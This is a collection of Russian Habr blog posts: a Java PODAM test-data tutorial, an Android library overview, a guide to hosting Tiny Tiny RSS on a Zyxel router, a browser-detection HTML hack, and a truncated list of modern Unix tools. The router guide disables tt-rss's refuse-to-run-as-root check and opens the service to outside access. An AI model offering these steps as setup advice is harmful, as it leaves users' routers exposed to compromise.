Страна будет состоять из наименования, национальной валюты и городов.
```
public class Country {
private String name;
private Currency currency;
private List cities;
public Country() {
setCities(new ArrayList());
}
//... тут getters и setters
}
```
Города будут состоять из наименования, количества жителей и списка улиц:
```
public class City {
private String name;
private int population;
private List streets;
public City(String name) {
this.name = name;
}
//... тут getters и setters
}
```
Улицы с наименованиями
```
public class Street {
private String name;
public Street(String name) {
this.name = name;
}
//... тут getters и setters
}
```
и валюта (для примера генерации с enum-ами — безусловно так не работают с валютами :) )
```
public enum Currency {
RUB,
EUR,
USD;
}
```
Итак, модель готова.
#### 2. Вспомогательный класс для красивого вывода результатов
Прежде чем генерить страну я позволю себе отклониться немного в сторону и создам свой RecursiveToStringStyle взамен тому, что есть у Apache (commons-lang3-3.4.jar), чтобы с помощью ReflectionToStringBuilder выводить получаемые с помощью PODAM данные.
**Класс RecursiveToStringStyle**
```
public class RecursiveToStringStyle extends ToStringStyle {
private static final long serialVersionUID = 1L;
private int offset;
public RecursiveToStringStyle() {
this(0);
}
private RecursiveToStringStyle(int offset) {
setUseShortClassName(true);
setUseFieldNames(true);
setUseIdentityHashCode(false);
this.offset = offset;
String off = "";
for (int i = 0; i < offset; i++)
off += "\t";
this.setContentStart("[");
this.setFieldSeparator(SystemUtils.LINE_SEPARATOR + off + " ");
this.setFieldSeparatorAtStart(true);
this.setContentEnd(SystemUtils.LINE_SEPARATOR + off + "]");
}
protected void appendDetail(StringBuffer buffer, String fieldName,
Collection col) {
buffer.append('[');
for (Object obj : col) {
buffer.append(ReflectionToStringBuilder.toString(obj,
new RecursiveToStringStyle(offset + 1)));
buffer.append(',');
}
if (buffer.charAt(buffer.length() - 1) == ',')
buffer.setCharAt(buffer.length() - 1, ']');
}
protected void appendDetail(StringBuffer buffer, String fieldName,
Object value) {
if (value instanceof String) {
buffer.append("\"" + value.toString() + "\"");
} else if (value instanceof BigDecimal) {
buffer.append(value.getClass().getSimpleName() + "["
+ value.toString() + "]");
} else if (value instanceof BigInteger) {
buffer.append(value.getClass().getSimpleName() + "["
+ value.toString() + "]");
} else if (!value.getClass().getName().startsWith("java.lang.")) {
try {
buffer.append(ReflectionToStringBuilder.toString(value,
new RecursiveToStringStyle(offset + 1)));
} catch (Throwable t) {
}
} else {
super.appendDetail(buffer, fieldName, value);
}
}
}
```
#### 3. Генерация
```
public class CountryCreatorSimple {
public static void main(String[] args) {
/** Создаём фабрику */
PodamFactory factory = new PodamFactoryImpl();
/** Генерим страну */
Country myPojo = factory.manufacturePojo(Country.class);
/** "Печатаем" страну */
System.out.println(ReflectionToStringBuilder.toString(myPojo,new RecursiveToStringStyle()));
}
}
```
Вот собственно и всё. В myPojo полноценная страна — получилось много буков, — так что желающие могут
**развернуть результат**
```
Country[
name="2n_BNdJOpE"
currency=Currency[
name="USD"
ordinal=2
]
cities=[City[
name="7_BmoRTDab"
population=-1863637717
streets=[Street[
name="XV_q7SPbvk"
],Street[
name="GkNGKj6B9J"
],Street[
name="y9GNakRAsW"
],Street[
name="Mwo09nQx0R"
],Street[
name="n4_EDMGNUR"
]]
],City[
name="1sifHwujvo"
population=1832262487
streets=[Street[
name="xpZiJH2sce"
],Street[
name="ns8DRJDi4e"
],Street[
name="7Ijv_UVZrF"
],Street[
name="CYruDEhe2M"
],Street[
name="4HFzN0v5mc"
]]
],City[
name="qJlUWEPoxp"
population=1979728140
streets=[Street[
name="_LbqmCPgWC"
],Street[
name="yS6jX8vRqI"
],Street[
name="yFysWkntdh"
],Street[
name="RvP93uJphY"
],Street[
name="WjARSGWfxB"
]]
],City[
name="W1J9mWpEFH"
population=493149274
streets=[Street[
name="8bFRRbPmqO"
],Street[
name="ORJ4rP1i41"
],Street[
name="qD9XU0I0K2"
],Street[
name="I75Wt5cK9v"
],Street[
name="viT8t5FkPq"
]]
],City[
name="33cPIh6go9"
population=693664641
streets=[Street[
name="kvPtj1GIL4"
],Street[
name="aVv1taDA0j"
],Street[
name="iQ6ZriwuZK"
],Street[
name="fcf6JICEQ9"
],Street[
name="1Pbdnc_7R6"
]]
]]
]
```
В нашей стране со странным названием *«2n\_BNdJOpE»* и национальной валютой USD есть города с не менее странными названиями, порой отрицательной численностью населения и с улицами, которые страшно произносить вслух. Этого может быть вполне достаточно для многих вариантов unit-тестирования, но я решил посмотреть насколько глубока кроличья нора.
#### 4. Собственная стратегия генерации
На официальном сайте предлагают имплементировать интерфейс DataProviderStrategy, но там оказывается 23 метода на каждый возвращаемый тип, на размер коллекции и т.д. Возможно, есть желающие и кому-то даже нужно будет, но для демонстрации хотелось найти что-то попроще — заглянул в исходники в поисках того, какая стратегия реально использовалась в предыдущем пункте — оказалось RandomDataProviderStrategy, но она public final class. Зато наследуется от AbstractRandomDataProviderStrategy — BINGO.
Приступаем к созданию собственной стратегии.
Хотим, например:
1. Один или два города в нашей стране — не больше. А то результат смотрится громоздко :)
Перекрываем
```
@Override
public int getNumberOfCollectionElements(Class type)
```
2. Хотим нормальные названия городов и улиц — это будут два enum-а со статическими методами возвращающими нам случайные элементы.
Плюс перекрываем
```
@Override
public String getStringValue(AttributeMetadata attributeMetadata)
```
3. Хотим население — не отрицательное, а, например от миллиона до 10 миллионов.
Перекрываем
```
@Override
public Integer getInteger(AttributeMetadata attributeMetadata)
```
Будем пользоваться тем, что AttributeMetadata содержит в себе два важных метода:
```
attributeMetadata.getAttributeName() /** название поля */
attributeMetadata.getPojoClass() /** класс, в котором это поле */
```
Понеслась (выбор городов случаен, выбор улиц — нагуглил некоторое количество улиц в Париже — сорри за форматирование enum — но не хотелось вертикально):
```
public class CountryDataProviderStrategy extends
AbstractRandomDataProviderStrategy {
private static final Random random = new Random(System.currentTimeMillis());
public CountryDataProviderStrategy() {
super();
}
@Override
public String getStringValue(AttributeMetadata attributeMetadata) {
/**
* Если поле name, то в зависимости от класса либо генерим улицу, либо
* город, либо страну
*/
if ("name".equals(attributeMetadata.getAttributeName())) {
if (Street.class.equals(attributeMetadata.getPojoClass())) {
return Streets.randomStreet();
} else if (City.class.equals(attributeMetadata.getPojoClass())) {
return Cities.randomCity();
} else if (Country.class.equals(attributeMetadata.getPojoClass())) {
return "Podam States of Mockitia";
}
}
return super.getStringValue(attributeMetadata);
};
@Override
public int getNumberOfCollectionElements(Class type) {
/**
* Если список городов, то вернём или 1 или 2. Если список улиц, то
* вернём от 1 до 10
*/
if (City.class.getName().equals(type.getName())) {
return 1 + random.nextInt(2);
} else if (Street.class.getName().equals(type.getName())) {
return 1 + random.nextInt(10);
}
return super.getNumberOfCollectionElements(type);
};
@Override
public Integer getInteger(AttributeMetadata attributeMetadata) {
/** Ну и вернём разумное население */
if (City.class.equals(attributeMetadata.getPojoClass())) {
if ("population".equals(attributeMetadata.getAttributeName())) {
return 1_000_000 + random.nextInt(9_000_000);
}
}
return super.getInteger(attributeMetadata);
}
private enum Cities {
MOSCOW, SAINT_PETERSBURG, LONDON, NEW_YORK, SHANGHAI, KARACHI, BEIJING, DELHI, PARIS, NAIROBI;
private static final List values = Collections.unmodifiableList(Arrays.asList(values()));
private static final int size = values.size();
private static final Random random = new Random();
public static String randomCity() {
return values.get(random.nextInt(size)).toString();
}
}
private enum Streets {
RUE\_ABEL, RUE\_AMPERE, AVENUE\_PAUL\_APPELL, BOULEVARD\_ARAGO, JARDINS\_ARAGO, SQUARE\_ARAGO, RUE\_ANTOINE\_ARNAULD, SQUARE\_ANTOINE\_ARNAULD, RUE\_BERNOULLI, RUE\_BEZOUT, RUE\_BIOT, RUE\_BORDA, SQUARE\_BOREL, RUE\_CHARLES\_BOSSUT, RUE\_DE\_BROGLIE, RUE\_BUFFON, AVENUE\_CARNOT, BOULEVARD\_CARNOT, VILLA\_SADI\_CARNOT, RUE\_CASSINI, RUE\_CAUCHY, RUE\_MICHEL\_CHASLES, RUE\_NICOLAS\_CHUQUET, RUE\_CLAIRAUT, RUE\_CLAPEYRON, RUE\_CONDORCET, RUE\_CORIOLIS, RUE\_COURNOT, RUE\_GASTON\_DARBOUX, RUE\_DELAMBRE, SQUARE\_DELAMBRE, RUE\_DEPARCIEUX, RUE\_DE\_PRONY, RUE\_DESARGUES, RUE\_DESCARTES, RUE\_ESCLANGON, RUE\_EULER;
private static final List values = Collections.unmodifiableList(Arrays.asList(values()));
private static final int size = values.size();
private static final Random random = new Random();
public static String randomStreet() {
return values.get(random.nextInt(size)).toString();
}
}
}
```
Собираем всё воедино и запускаем генерацию:
```
public class CountryCreatotWithStrategy {
public static void main(String[] args) {
/** Создаём нашу стратегию генерации */
DataProviderStrategy strategy = new CountryDataProviderStrategy();
/** Создаём фабрику на основании этой стратегии */
PodamFactory factory = new PodamFactoryImpl(strategy);
/** Генерим страну */
Country myPojo = factory.manufacturePojo(Country.class);
/** Печатаем страну */
System.out.println(ReflectionToStringBuilder.toString(myPojo,new RecursiveToStringStyle()));
}
}
```
Результат намного приятнее, чем с использованием полного рандома:
```
Country[
name="Podam States of Mockitia"
currency=Currency[
name="RUB"
ordinal=0
]
cities=[City[
name="NAIROBI"
population=9563403
streets=[Street[
name="RUE_BORDA"
],Street[
name="RUE_DE_PRONY"
],Street[
name="SQUARE_ANTOINE_ARNAULD"
],Street[
name="RUE_CASSINI"
],Street[
name="RUE_DE_PRONY"
]]
],City[
name="PARIS"
population=7602177
streets=[Street[
name="RUE_DESCARTES"
],Street[
name="RUE_CHARLES_BOSSUT"
]]
]]
]
```
#### 5. Заключение
1. На самом деле можно аннотациями @PodamStrategyValue снабжать сами поля. Для этого надо будет имплементировать интерфейс AttributeStrategy, создав тем самым стратегии для атрибутов. Можно ещё много всего замечательного, но это уже для тех, кого всё это чудо заинтересовало — на [официальном сайте](http://home.btconnect.com/jemosagile//projects/podam/index.html) есть много туториалов.
2. Некоторые могут сказать, что проще засетить конкретные значения в объект, как бы это сложно ни было — я не соглашусь и спорить не буду, так что сразу предупреждаю об отказе от дачи комментариев на эту тему — PODAM использует reflection, а это доступ к полям с ограниченной видимостью и даже к константам (через PODAM правда не пробовал, но reflection константы берёт), а это открывает большие возможности не только для погенерить, но и для поломать, что незаменимо для автоматизации негативного тестирования.
3. Цель была победить **[Excessive Setup](http://qabok.com/tdd-patterns-and-anti-patterns/)** анти-паттерн. Думаю, отчасти это удалось. А в сочетании с Mockito, о котором уже написано много, unit-тестирование (впрочем, как и заглушечные куски функционального) становится сплошным удовольствием.
4. Конечно же, [ссылка на git-овую репу](https://bitbucket.org/franciscosuarez/podamexample/downloads) с тем, что описано выше. | https://habr.com/ru/post/255425/ | null | ru | null |
# Еще раз об архитектуре Android приложения или джентльменский набор библиотек
Вот надумал написать обзор библиотек с помощью которых легко и удобно писать приложения под Android.
Список вырисовывается такой:
* [Android Annotations](http://androidannotations.org)
* [Groundy](https://github.com/telly/groundy)
* [Retrofit](https://github.com/square/retrofit)
* [AnnotatedSQL](https://github.com/hamsterksu/Android-AnnotatedSQL)
* [Android db-commons](https://github.com/futuresimple/android-db-commons)
Если заинтересованны прошу под кат.
Начать надо с того, ~~что языки не мой конек, заранее прощу прощения~~ зачем столько библиотек, чем это обусловлено и зачем надо.
Естественно, все продиктовано архитектурой приложения. Исходя из моего опыта, почти всегда, надо иметь следующую структуру приложения:
Как видно, приложение делится на 3 слоя — «мордочка», хранилище данных и сервис для асинхронных команд, где почти всегда скрыта логика.
Я не хочу разводить холивар и спорить об архитектуре, я просто описываю то как делаю это я и как делают мои коллеги.
#### Пару слов почему так
**Контент провайдер** очень мощная штука с уведомлениями об изменениях данных и это все из коробки. Юзаем в основном как обвертку над базой. Способа как туда правильно впихнуть загрузку данных из инета не нашел.
**Сервис асинхронных команд** — из названия все ясно, выполняет действия асинхронно(в другом потоке). Практически все действия должны быть асинхронны — запись в базу, походы в инет, да и подсчеты.
Почему «асинхронных команд»? Тут тоже все просто — каждое действие — законченная команда. Которая знает с какими параметрами запуститься, что с ними делать и оповещением о своем завершении.
Вот [тут](http://habrahabr.ru/post/144275) [evilduck](https://habrahabr.ru/users/evilduck/) уже все детально описал.
**«Мордочка»** — набор активити/фрагментов для отображения данных. Хочу заметить, что вся загрузка данных из хранилища должна быть асинхронная(ни каких походов в базу из UI даже за одним числом). И тут нам на помощь приходит лоадер менеджер — тоже фича из коробки. Стоит смотреть в сторону CursorLoader
#### Велосипед
Наверное, каждый программист делал свой велосипед. Польза от них тоже есть — вы начинаете понимаете все подводные камни, что и зачем нужно. Но писать каждый раз велосипед — не хорошо. А прикатить его из другого проекта нельзя т.к. код продан и является собственностью заказчика.
Конечно ваш код можно оформить в либу, опубликовать ее, в договоре с заказчиком написать, что юзаем либу. Но написать либу на все случаи жизни не так просто, тем более зачем делать еще один велосипед если уже есть, а баги уже найдены и пофикшены. Так в конце концов произошло и со мной.
Я не то что противник рефлекшена, но предпочитаю либы которые генерят код. Его удобно дебажить и всегда можно посмотреть, что там творится.
Ко всему прочему мне нравятся аннотации. Вся моя подборка библиотек практически соответствует этому принципу. Начнем…
#### Groundy
Вот эта библиотечка реализует command service.
* Команды можно кенселить
* Любители AsyncTask'ов не заметят перехода
* Есть поддержка калбеков и они очень просты в использовании
Я предпочитаю писать статический метод запуска команды и типизировать калбек.
Хотя калбеком может быть любой object я предпочитаю типизировать его. Это поможет компилятору помогать нам.
И оградит вас от соблазна навесить калбеки на паблик методы активити, тем самым нарушив один из столпов ООП — инкапсуляцию :)
По тем самым соображениям и нужен статический метод запуска.
```
public class LoginCommand extends GroundyTask{
private static final String ARG_PASSWORD = "arg_password";
private static final String ARG_USER = "arg_username";
@Override
protected TaskResult doInBackground() {
String userName = getStringArg(ARG_USER);
String password = getStringArg(ARG_PASSWORD);
//do something
return succeeded();
}
public static void start(Context context, BaseLoginCommandCallback callback, String login, String password) {
Groundy.create(LoginCommand.class)
.arg(ARG_USER, login)
.arg(ARG_PASSWORD, password)
.callback(callback)
.queueUsing(context);
}
public static abstract class BaseLoginCommandCallback{
@OnSuccess(LoginCommand.class)
public void handleSuccess(){
onLoginSuccess();
}
@OnFailure(LoginCommand.class)
public void handleFailure(){
onLoginError();
}
protected abstract void onLoginSuccess();
protected abstract void onLoginError();
}
}
```
#### Retrofit
Очень простой инструмент для вызова REST сервисов, как хорошо написанных так и не очень. Код правда не генерит, но очень прост.
Я смотрел в сторону Spring Android, но как-то тяжеловат он.
```
public interface ServicesFootballua {
String API_URL = "http://services.football.ua/api";
@GET("/News/GetArchive")
NewsArchive getNewsArchive(@Query("pageId") long pageId,
@Query("count") long count,
@Query("datePublish") String date);
}
```
ну и вот так юзаем
```
private static ServicesFootballua API = new RestAdapter.Builder()
.setServer(ServicesFootballua.API_URL)
.build()
.create(ServicesFootballua.class);
...................................
archive = API.getNewsArchive(PAGE_ID, COUNT, dateFormat.format(getTodayTime()));
```
можно подставить свой конвертер, http клиент и кучу всего прочего.
#### AnnotatedSQL
Генерит базу и контент провайдер по аннотациям.
Моя поделка, меня устраивает полностью. Пару статей есть на хабре — [тут](http://habrahabr.ru/post/156283/) и [тут](http://habrahabr.ru/post/166051/).
Недавно с пинка [evilduck](https://habrahabr.ru/users/evilduck/) опубликовался в maven central
Смотрел на ORMLite, но мне кажется не подходит оно для андроид. Обычно нам не нужно вытягивать прям все и вся. Обычный sql и вьшки решают почти все.
#### Android Annotations
Очень долго присматривался к этой либе и недавно решился заюзать ее в продакшене — понравилось, несмотря на то, что надо юзать нагенеренные классы.
Мощнейший инструмент, главное не юзать *Background* ну или включать голову.
Хороший плюс — можно почти безболезненно выпилить.
Смотрел на AQuery и Dagger, но имхо Android Annotations — уже имеет все это.
Единственной минус — иногда тяжело искать ошибку «почему не компилируется?».
О всех возможностях можно прочитать на офф сайте. Единственное, что хочу добавить — всегда пишу статический метод для запуска активити, создания фрагмента. Это изолирует весь код в одном месте и никто в коде не знает юзаем мы нагенеренный класс или оригинальный.
Например фрагмент *AlertDialogFragment* будет иметь метод
```
public static void show(FragmentActivity activity,
DialogType type, int titleId, String msg, int positiveTitleId,
OnDialogClickListener positiveListener) {
DialogUtil.show(activity, DIALOG_NAME,
AlertDialogFragment_.builder()
.titleId(titleId)
.errorMsg(msg)
.positiveButtonTitleId(positiveTitleId)
.dialogType(type).build()
).setOnClickListener(positiveListener);
}
```
а везде в коде вызов будет типа
```
AlertDialogFragment.show(BaseActivity.this,
DialogType.CONFIRM,
R.string.some_title,
getString(R.string.some_message),
R.string.btn_edit,
new OnDialogClickListener() {...............}
```
и никто не знает о существовании *AlertDialogFragment\_*
#### Android db-commons
Совсем недавно нашел эту замечательную либу. Т.к. мы юзаем лоадеры везде и всюду, обычно результат это Cursor. Всегда можно заюзать CursorAdapter и отобразить то, что надо.
Но вот эта либка предлагает нам юзать список(List), но над курсором, а со списком всеми любимый ArrayAdapter.
Вот такой симбиоз — вы как бы видите List и юзаете ArrayAdapter, но по факту это курсор и курсор адаптер. Настоящая «уличная магия» :)
Ребята не поленились и написали такой себе LazyList с небольшим кешем внутри, все как и положено — внутри LruCache.
Для того что бы получить List вместо Cursor надо написать функцию(*transform*) конвертации строки курсора в объект и вы получите лоадер который вернет не Cursor, а List
```
return CursorLoaderBuilder.forUri(URI_ITEMS)
.projection(ItemConverter.PROJECTION)
.where(ItemTable.ACTIVE_STATUS + " = ?", 1)
.where(ItemTable.DESCRIPTION + " like ?", "%" + searchText + "%")
.transform(new ItemConverter()).build(getActivity());
```
Но как мы знаем иногда надо прочитать курсор в какой-то объект, например надо посчитать что-то, для этого у ребят есть метод *wrap*
```
public Loader onCreateLoader(int i, Bundle bundle) {
return CursorLoaderBuilder
.forUri(ITEMS\_URI)
.projection("count(" + ItemTable.GUID + ")")
.where(ItemTable.ACTIVE\_STATUS + " = ?", 1)
.where(ItemTable.STOCK\_TRACKING + " = ?", 1)
.where(ItemTable.TMP\_AVAILABLE\_QTY + " <= " + ItemTable.RECOMMENDED\_QTY)
.wrap(new Function() {
@Override
public Integer apply(Cursor c) {
if (c.moveToFirst()) {
return c.getInt(0);
}
return 0;
}
}).build(DashboardActivity.this);
}
```
вот такой нехитрый способ.
Это очень тривиальный пример. Возможности гораздо круче.
При этом в метод wrap все еще выполняется в другом потоке. так что вы можете еще сходить в БД за дополнительными данными.
Как я и сказал это иногда надо.
#### Окончание
Понятно, что для самого UI используется еще кучка разных либ(в основном компоненты), но это уже зависит от фантазии дизайнера :)
Ну и вот такой кусочек билд скрипта для грейдл, что бы apt завелся(*да-да уже есть спец плагин, но его еще не пробовал*).
Ах, да — качаем **android-db-commons-0.1.6.jar** в папку libs
```
ext.androidAnnotationsVersion = '2.7.1';
configurations {
apt
}
dependencies {
compile fileTree(dir: 'libs', include: '*.jar')
compile 'com.google.guava:guava:13.0.1'
compile 'com.telly:groundy:1.3'
apt 'com.telly:groundy-compiler:1.3'
apt "com.googlecode.androidannotations:androidannotations:${androidAnnotationsVersion}"
compile "com.googlecode.androidannotations:androidannotations-api:${androidAnnotationsVersion}"
compile 'com.github.hamsterksu:android-annotatedsql-api:1.7.8'
apt 'com.github.hamsterksu:android-annotatedsql-processor:1.7.8'
}
android.applicationVariants.all { variant ->
aptOutput = file("${project.buildDir}/source/apt_generated/${variant.dirName}")
variant.javaCompile.doFirst {
aptOutput.mkdirs()
variant.javaCompile.options.compilerArgs += [
'-processorpath', configurations.apt.getAsPath(),
'-processor', 'com.annotatedsql.processor.provider.ProviderProcessor,com.annotatedsql.processor.sql.SQLProcessor,com.googlecode.androidannotations.AndroidAnnotationProcessor,com.telly.groundy.GroundyCodeGen',
'-AandroidManifestFile=' + variant.processResources.manifestFile,
'-s', aptOutput
]
}
}
```
Всем спасибо за внимание | https://habr.com/ru/post/208504/ | null | ru | null |
# Установка Tiny Tiny RSS на роутер Zyxel Keenetic
Совсем недавно «корпорация добра» закрыла Google Reader. Тысячи пользователей встали перед выбором читалки RSS лент. Кто то сразу нашел то, что ему по душе, а кто то до сих пор находится в поиске. Но у всех онлайн читалок есть один существенный недостаток — они так же, как и Google Reader могут закрыться в любой момент. Выходом из сложившейся ситуации является установка одной из самых популярных self-hosted читалок — Tiny Tiny RSS (далее tt-rss). Её можно установить на VDS сервер, или домашний компьютер. Но за сервер нужно платить, хоть и небольшие, но деньги, а держать всегда включенный ПК (дабы иметь доступ к читалке отовсюду) проблематично. Однако, если у вас трудится роутер Zyxel Keenetic, то tt-rss можно установить читалку на него!
Для установки необходимо:
* Любой роутер из семейства Zyxel Keenetic с прошивкой V1
* USB флешка, или жесткий диск с интерфейсом USB (предпочтительнее)
Подробнее о прошивках. У роутеров Keeneticесть две серии прошивок V1 и V2 соответственно. Прошивки первой серии примечательны тем, что они позволяет устанавливать пакеты на внешний usb диск/флешку. И реализуется это без прошивки самого роутера! Однако, для второго поколения роутеров Keenetic (Keenetic II/Keenetic Giga II/Keenetic Ultra) прошивка V1 является неофициальной (по ним не осуществляется техническая поддержка). В моем случае имелся роутер Keenetic Giga II, который был прошит прошивкой V1. Прошивку V1 для второго поколения роутеров можно взять [тут](http://l10n.ndl.ru/firmwares/KII_Series/) (ориентироваться по последней дате). Процесс прошивки достаточно прост, для этого в системных настройках роутера нужно зайти в «управление системными файлами» и заменить файл `firmware`, скачанным файлом прошивки.
Перейдем к следующему этапу — установке необходимых пакетов. Первоначально необходимо установить пакетный менеджер opkg. Я не буду рассматривать этот процесс, т.к. он достаточно подробно описан на [сайте](http://keenetic.zyxmon.org/wiki/doku.php/wiki:ustanovka_paketov#ustanovka_sistemy_opkg) автора, который занимается сборкой этих пакетов, за что ему отдельное спасибо.
Итак, после того как установлен opkg, непосредственно переходим к установке необходимых пакетов. Подключаемся к роутеру по ssh и выполняем следующую команду:
```
opkg install libiconv-full libmysqlclient libncurses libncursesw libopenssl libpcre libreadline libxml2 lighttpd lighttpd-mod-fastcgi mysql-server php5 php5-cgi php5-mod-ctype php5-mod-dom php5-mod-hash php5-mod-iconv php5-mod-json php5-mod-mbstring php5-mod-mysql php5-mod-session uclibcxx mysql-server php5-mod-json php5-mod-mysql php5-mod-mbstring php5-mod-hash php5-mod-ctype php5-mod-iconv php5-mod-dom
```
Теперь настроим их. Для настройки необходимо редактировать конфигурационные файлы на USB флешке/диске. Это удобно делать с помощью программы [WinSCP](http://winscp.net/eng/docs/lang:ru) (в настройках подключения выбрать SCP протокол).
Настроим lighttpd сервер. В файле `/media/DISK_A1/system/etc/lighttpd/lighttpd.conf` активируем fastcgi модуль, для этого раскомментируем строки:
```
server.modules = (
"mod_fastcgi"
)
```
Добавляем index.php к списку имен индексных файлов:
```
index-file.names = ( "index.html", "default.html", "index.htm", "default.htm", "index.php" )
```
И добавляем mime тип svg для корректного отображения иконок в интерфейсе tt-rss:
```
mimetype.assign = (
...
".xml" => "text/xml",
".svg" => "image/svg+xml"
)
```
Раскомментируем следующие строки:
```
fastcgi.server = (
".php" => (
"localhost" => (
"min-procs" => 1,
"max-procs" => 1,
"max-load-per-proc" => 4,
"socket" => "/media/DISK_A1/system/tmp/php-fastcgi.socket",
"bin-path" => "/media/DISK_A1/system/usr/bin/php-fcgi"
)
)
)
```
Убираем ограничение на время исполнения php скриптов, для этого редактируем `/media/DISK_A1/system/etc/php.ini` Меняем параметр `max_execution_time`, выставив значение `0`.
Настроим автозагрузку http, mysql серверов, и cron-а, который понадобится для автоматического обновления фидов. Это реализуется переименованием скриптов в папке `/media/disk_a1/system/etc/init.d/`. Для этого выполняем следующие команды:
```
mv /media/DISK_A1/system/etc/init.d/K02cron /media/DISK_A1/system/etc/init.d/S02cron
mv /media/DISK_A1/system/etc/init.d/K27mysqld /media/DISK_A1/system/etc/init.d/S27mysqld
mv /media/DISK_A1/system/etc/init.d/K50lighttpd /media/DISK_A1/system/etc/init.d/S50lighttpd
```
Скачиваем тарбол с официального [сайта](http://tt-rss.org/redmine/projects/tt-rss/wiki). Загружаем его в папку `/media/DISK_A1/system/www/`. Это можно сделать например с помощью той же WinSCP. Для распаковки выполняем:
```
cd /media/DISK_A1/system/www/
tar -xvzf ./Tiny-Tiny-RSS-1.8.tar.gz
rm ./Tiny-Tiny-RSS-1.8.tar.gz
mv /media/DISK_A1/system/www/Tiny-Tiny-RSS-1.8/ /media/DISK_A1/system/www/tt-rss
```
Перезагружаем роутер для старта всех сервисов. Снова подключаемся к роутеру по ssh. Создадим базу данных с именем `mysql` (для пользователя с именем `root`). Выполняем команды:
```
mysql_install_db --datadir=/media/DISK_A1/system/var/mysql --basedir=/media/DISK_A1/system/usr --force
/media/DISK_A1/system/etc/init.d/S27mysqld restart
```
Меняем пароль доступа к базе:
```
/media/DISK_A1/system/usr/bin/mysqladmin -u root password "new-password"
```
Далее вводим:
```
mysql -u root -p
```
По запросу вводим пароль, который установили и вводим следующие команды:
```
create database ttrss;
use ttrss;
source /media/DISK_A1/system/www/tt-rss/schema/ttrss_schema_mysql.sql;
quit;
```
Для доступа к mysql базе необходимо добавить правило iptables для разрешения lo интерфейса: `iptables -I INPUT -i lo -j ACCEPT`. Для автоматического выполнения этой команды при перезагрузке можно добавить эту команду в скрипт автозапуска mysql сервера `/media/DISK_A1/system/etc/init.d/S27mysqld`:
```
case "" in
start)
start
iptables -I INPUT -i lo -j ACCEPT
;;
```
Перезапускаем mysql сервер:
```
/media/DISK_A1/system/etc/init.d/S27mysqld restart
```
Открываем в браузере адрес `192.168.1.1:81/tt-rss/` где открывается установщик tt-rss:
Заполняем поля как на скриншоте. Жмем test confiduration. Если всё в порядке появятся такие сообщения:
Смело жмем Initialize database. И затем Save configuration.
Поробуем открыть адрес `192.168.1.1:81/tt-rss/`. Ругается что нельзя запускать от рута. Других пользователей в роутере нет, поэтому отключим эту проверку, и разрешим запуск от имени root. Для этого отредактируем `/media/DISK_A1/system/www/tt-rss/include/sanity_check.php`. В строке `if (function_exists('posix_getuid') && posix_getuid() == 0) {` устанавливаем `posix_getuid() == -1`.
Обновляем страничку в браузере, вводим логин admin, пароль password. Всё, можно пользоваться!
Для обновления фидов добавляем в cron задание, открываем файл `/media/DISK_A1/system/etc/crontabs/root` и добавляем
```
*/30 * * * * /media/DISK_A1/system/usr/bin/php-cgi /media/DISK_A1/system/www/tt-rss/update.php --feeds --quiet
```
Это команда обновляет фиды каждые 30 минут.
Для доступа к читалке извне необходимо раскомментировать правило iptables в скрипте автозапуска http сервера `/media/DISK_A1/system/etc/init.d/S50lighttpd`:
```
iptables -A INPUT -p tcp --dport $PORT_F -j ACCEPT
```
В работе tt-rss на роутере обнаружился досадный баг, который заключается в том, что фиды в кодировке win-1251 не хотят обрабатываться. Для решения этой проблемы можно использовать следующие костыли. В файле `/media/DISK_A1/system/www/tt-rss/include/rssfuncs.php` перед
```
if (!$rss) {
$rss = new FeedParser($feed_data);
$rss->init();
}
```
добавить (спасибо за совет Star Per с [форума](http://forum.zyxmon.org/)):
```
if (stripos($feed_data, 'encoding="windows-1251"'))
{
$feed_data = str_ireplace(
'encoding="windows-1251"',
'encoding="utf-8"',
iconv(
'CP1251',
'UTF-8',
$feed_data
)
);
}
```
Таким образом мы получили rss читалку, которая в один прекрасный момент не окажется закрытой по той или иной причине. Кроме того эта читалка работает в многопользовательском режиме, ей можно поделится со своими друзьями.
Не забудьте сменить дефолтный пароль в читалке! Приятного чтения. | https://habr.com/ru/post/185876/ | null | ru | null |
# Как определить браузер
Оказывается, клиенту можно показать браузер таким вот забавным хаком :)
`первый вариант:
![]()
/''src="firefox.gif"
/""src="sleipnir_gecko.gif"
"src="safari.gif"
""src="konqueror.gif"
/src="ie.gif"
src="opera.gif"
src="lynx.gif"
>
обновленный вариант (для генерации скриптом):
/src\x00="ie.gif"
/''src\x00="firefox1_5.gif"
/''src="firefox2_0.gif"
/""src="gecko_others.gif"
"s\x00rc="safari2.gif"
"src="safari3.gif"
""src="konqueror.gif"
src\x00="w3m.gif"
src\x0c="opera.gif"
src="others.gif"
src="lynx.gif"
/>`
[источник с наглядным примером (**обновлен — понимает сафари**)](http://wafful.org/~takesako/html20hacks/browser-detect3.html)
пс: к практическому применению не рекомендуется ;) | https://habr.com/ru/post/64549/ | null | ru | null |
# Современные Unix программы
Наше внимание привлёк один интересный репозиторий, который называется [Modern Unix](https://github.com/ibraheemdev/modern-unix). В нём собраны, в основном, современные альтернативы классическим Unix-командам. Всего там имеется почти три десятка описаний таких команд. Надеемся, вы найдёте среди них что-то такое, что вам пригодится.
[](https://habr.com/ru/company/ruvds/blog/567150/)
Bat
---
[Bat](https://github.com/sharkdp/bat) — это клон `cat`, поддерживающий подсветку синтаксических конструкций и интеграцию с Git.
Exa
---
[Exa](https://github.com/ogham/exa) — это современная замена `ls`.
Lsd
---
[Lsd](https://github.com/Peltoche/lsd) — это представитель программ нового поколения для вывода сведений о файлах. Эта утилита обратно совместима с `ls`.
Delta
-----
[Delta](https://github.com/dandavison/delta) — это утилита, которая позволяет с удобством просматривать вывод команд наподобие `git diff` и `git show`. Она, кроме того, позволяет сравнивать файлы.
Dust
----
[Dust](https://github.com/bootandy/dust) — это версия команды `du`, отличающаяся большей интуитивной понятностью, чем эта команда.
Duf
---
[Duf](https://github.com/muesli/duf) — это улучшенная замена `df`.
Broot
-----
[Broot](https://github.com/Canop/broot) — это новое средство для просмотра структуры каталогов, заменяющее команду `tree`.
Fd
--
[raw.githubusercontent.com/sharkdp/fd/master/doc/screencast.svg](https://raw.githubusercontent.com/sharkdp/fd/master/doc/screencast.svg)
[Fd](https://github.com/sharkdp/fd) — это простая, быстрая и интуитивно понятная альтернатива `find`.
Ripgrep
-------
[user-images.githubusercontent.com/200613/90223748-ecaeab80-de0e-11ea-9140-ac9219f5747c.gif](https://user-images.githubusercontent.com/200613/90223748-ecaeab80-de0e-11ea-9140-ac9219f5747c.gif)
